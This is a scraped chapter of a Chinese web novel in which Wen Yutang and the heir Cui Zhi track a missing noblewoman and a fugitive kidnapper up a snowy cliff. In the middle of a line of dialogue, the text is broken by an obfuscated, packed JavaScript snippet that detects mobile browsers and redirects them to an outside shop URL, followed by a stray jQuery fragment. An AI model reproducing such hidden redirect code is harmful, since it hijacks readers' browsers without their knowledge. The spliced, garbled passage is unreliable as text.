文趣网 > 其他小说 > 贵人知我甜 > 18. 问迹(一)
    温予棠顺着密林一路疾驰,很快就穿越了林间,风中传来微弱呜咽声,哭声很浅,时断时续,似是压抑着喉咙,不敢大声声张。

    温予棠觉得毛骨耸立,看过的精怪异志的桥段在脑内拼命上演,她心里暗暗给自己鼓气,她可以的,要相信自己这一身浩然正气。

    她打起精神,持弓催马朝着声音的方向前进,等走进了,看清了树边的衣角,才放心下来,应是李时莺的婢女。

    温予棠翻身下马,将弓箭收好,向前走去。

    那是个和她们差不多大的女子,把脸埋在膝盖里。

    “你是谁。”温予棠握紧藏在身后的匕首

    听到温予棠的声音,那女子将头从膝盖里抬起,语气有些激动,“贵人!救救我!”

    温予棠示意她别动,“告诉我,你是谁,为何在这。”

    那女子听闻,立刻跪在地上,倒豆子般说道:“我是吏部尚书之女的婢女,前几日被小姐买入府中。小姐带我来到此处和另外一位贵女围猎,我们在林中遇到一只猛兽,被猛兽冲散,我侥幸从猛兽爪下逃过一劫。”

    温予棠心道,这李时莺做事还算谨慎,不仅隐瞒了昭华郡主的身份,还特地新买了奴婢。

    那李时莺是怎么昏迷的?昭华郡主又去哪了。温予棠愈发疑惑。

    她的眼神示意这女子,指挥道:“将你的衣袍露出来。”

    那婢女慌忙将膝盖下的衣袍撩起,温予棠看到那衣物的缺角和手中的布料刚好可以拼凑完整,终于放下心,继续问道:“你可知你家小姐和那贵女往哪边去了?”

    那女子说道:“这我也不知,可能是往麒麟崖去了。”

    眼见线索就此断了,不过这婢女倒是逃过一劫,温予棠倒不知该如何是好了,昭华郡主的事她也管不了,难道她要将这婢女带回营地?

    一声嘶鸣声传来,温予棠回头,崔知在她身后数尺,他抬手,一名身着玄色劲装的暗卫便闪身而出。

    崔知开口道:“带回营。”

    “是。”暗卫行礼,将地上的婢女带起,朝山下走去。

    温予棠牵着马,嘴紧紧地抿成一条,眼角耷下,极力避开崔知的目光。

    崔知端坐在马上也没动作,似是在等她说话。

    温予棠不知道自己是不是第一个给崔知甩脸色的人,毕竟当今圣上都不敢怠慢崔家分毫。思及此,还是不情不愿地给崔知行了礼,试图开溜,“小女无状,请世子海涵。”

    她牵着马,正欲从崔知身旁擦肩而过,就见马背上的人一伸手,拉住她的缰绳。

    崔知的声音从头顶传来,“温二小姐心细如发,想必知道不少线索,不如和我一起寻个究竟。”

    温予棠一撇嘴,她就知道,崔知这种心思缜密的人断不会就此放过她,他信不过她,所以哪怕将自己带在身边,也绝不会在没把握的情况下将她放回去。

    温予棠认清现实,“世子倒不必拴着我……”

    崔知握着缰绳的手抖了一下,手指从她的缰绳上挪开。

    温予棠突然觉得这话不太得体,“您放心,我逃得速度肯定没您的箭快……”

    崔知的动作有些急,右手指腹被勾了一下。

    ……这话好像也不怎么样。

    温予棠有些汗颜,她翻身上马,调转马头,跟在崔知身后向麒麟崖行进。

    麒麟崖地势更陡,崔知的马是宝马良驹,千里能行,温予棠座下的却很是吃力,频频打滑,温予棠艰难驭马,汗都沾满了额头,被一阵风吹来,吹了个透心凉。

    “阿嚏!”一个重重的喷嚏打了出来。

    崔知听到声音,将马停下,他将缰绳系在了树干上。

    温予棠不想多问,自己已经吃过一次多嘴的亏了,她闷闷不乐地将缰绳栓到了树上。

    ‘噌’的一声,崔知的佩剑出鞘,银光闪过温予棠的眼睛,晃得她大脑一片发白,她愣在原地。

    预想中的剑锋并没扫过来,崔知那柄削铁如泥的宝剑削在了一旁的树枝上。

    温予棠的眼睛瞪得浑圆,一眨不眨地盯着崔知。

    她脸色苍白,崔知一看便知她想偏了,他有些好笑,自己对温予棠也算有礼有加吧?是什么错觉让她觉得自己会伤害她?

    他掂量了一下树枝,又将缺口磨了下,确认不会扎到人,递了过来,“去往麒麟崖的路难走,不过照温二小姐在云峤山的身手,想必也不在话下。”

    他头微微歪着,眉毛上挑,明明是肯定的语气,表情却还是在询问温予棠。

    温予棠长舒口气,果然是她想多了,毕竟要是崔知真在她身上惦记点什么,自己也活不到现在。

    “谢过世子。”

    两人往密林中走去,这种感觉实在有些奇怪,明明之前在云峤山内两人也是这般在雪地里前行,不过那时自己战战兢兢连滚带爬地跟着崔知,现在崔知还是在自己前面带路,但温予棠觉得崔知的脚步倒不像那日那般快。

    明是像雪一样冰冰凉凉的人,有时又有点温暖。

    温予棠摇了摇头,将脑子里的胡思乱想扔到一旁,盯着自己的脚下,亦步亦趋地跟着崔知,地势越来越高,她渐渐有些吃力,呼出得哈气在领口结了一层冰晶,睫毛上也湿润沉重起来,挂上了一层白霜。

    崔知的脚步停下了,温予棠一个不及,一头撞上了崔知的后背。

    很温热。

    睫毛上的白霜一眨巴化成了水,迷住了眼睛,温予棠手忙脚乱的擦着脸道歉,“对不住对不住,我没留意。”

    一块帕子塞到她的手里,入手仿若无物,雪松香气充斥鼻尖。

    崔知的声音在耳边响起,麻酥酥的,“擦擦。”

    温予棠将睫毛上的水渍擦掉,雪灰色的手帕被洇湿,颜色变深了些。

    崔知的眸子从上面扫过,又继续向前走去,“周边有脚印,人就在附近了。”

    温予棠拿着手帕,不知道怎么还回去,以崔知的性子,这帕子他断是不会再用了,可自己这么收下崔知的帕子,似乎也很微妙,她仔细看着手中的帕子,布料上乘,但没什么绣艺。

    “新的,没有记号。”崔知状似不经意地说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896202|212848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道。

    温予棠安心,那便好,被人瞧见也不会多说什么,她将帕子塞到了怀里,走到崔知身边盯着地上的脚印。

    “怎么有些……熟悉……”温予棠有点恍惚,她应是在不久之前见过相似的脚印。

    外侧较内侧深,走路之人应是一个外八的成年男子,也是在雪地里,身后拖着一条长长的拖痕,像是在拖人。

    温予棠觉得一声惊雷在心中炸开,这分明就是那癞子章的脚印!?

    怎么会在这里,不是被崔知带去府衙了,为什么会出现在麒麟崖。

    从宝凤楼门口李时莺被抢的匣子开始,近日发生的事一桩桩一件件地在脑海内飞速闪回,她眼神闪烁,盯着崔知,嘴里却因过于震撼讲不出话,不知该从何处开口,“这……?”

    崔知轻声说道:“看来你要从宝凤楼那日你的所见所闻开始,详细和我讲讲了。”

    温予棠顺着癞子章的脚印一路往上,边走边说,“那日宝凤楼,那对兄妹说自己是被癞子章逼迫,前来抢夺,起初我以为他们只是看我们人少,但现在想来,应该是特意盯紧了李时莺,就像世子您在宴席上说得一样,也许是为了引李时莺现身,没想到却被我从中作梗,破坏掉了。”

    崔知点点头,“是刻意安排那对兄妹前去的,那对兄妹在口供中有说,癞子章连着好几天带他们去宝凤楼门口蹲点,直到那日才指挥他们前去抢夺。”

    她思绪转得飞快,“那癞子章追着小麦而来……岂不是为了灭口!”

    她冷汗直流,又看了眼崔知,崔知似乎早就有所猜测,此时也没什么反应,温予棠却突然知道他为什么要插手将小麦小米两人送入南酥阁做工,还说要找人送他们去南方寻亲,分明是已猜到这些缘故,特地将人放在眼边,一为看守,二为保护。

    “可是癞子章又是如何逃出来的?他不是已经进了昌盛坊的府衙吗?”

    崔知看了一眼温予棠,道:“你可知癞子章那相好是从哪出来的?”

    “那点心铺的娘子?”落珠当日有提及,那女子手艺很差,但人长得貌美,看起来有些风尘,不知道是哪里来的。

    “可是李时莺可是尚书之女,是李大人的掌上明珠,谁敢动她啊……”

    温予棠想起刚才婢女所说,李时莺独自带了新来的婢女进山,还不让跟着,怕触怒了别的贵女……

    崔知停下脚步,“外人传言的交好,未必是真的。”

    他什么都没说,但是温予棠却懂了……

    但她却不明白,昭华郡主至于这么大费周章来折腾李时莺吗。

    况且李时莺虽然昏迷了,可是短短这么几柱香的时辰,也来不及被癞子章拐去那种风尘之地啊。

    除非……

    温予棠脸色发白,除非癞子章也没搞清楚谁是李时莺,就像当初癞子章分不清楚自己和落珠谁才是真正的小姐一样。

    昭华郡主天潢贵胄,自然不会亲自吩咐这点小事,必是交代了下人去办。

    她抬头看向崔知,这才发现崔知的眉头微皱,眼里有隐隐的担忧。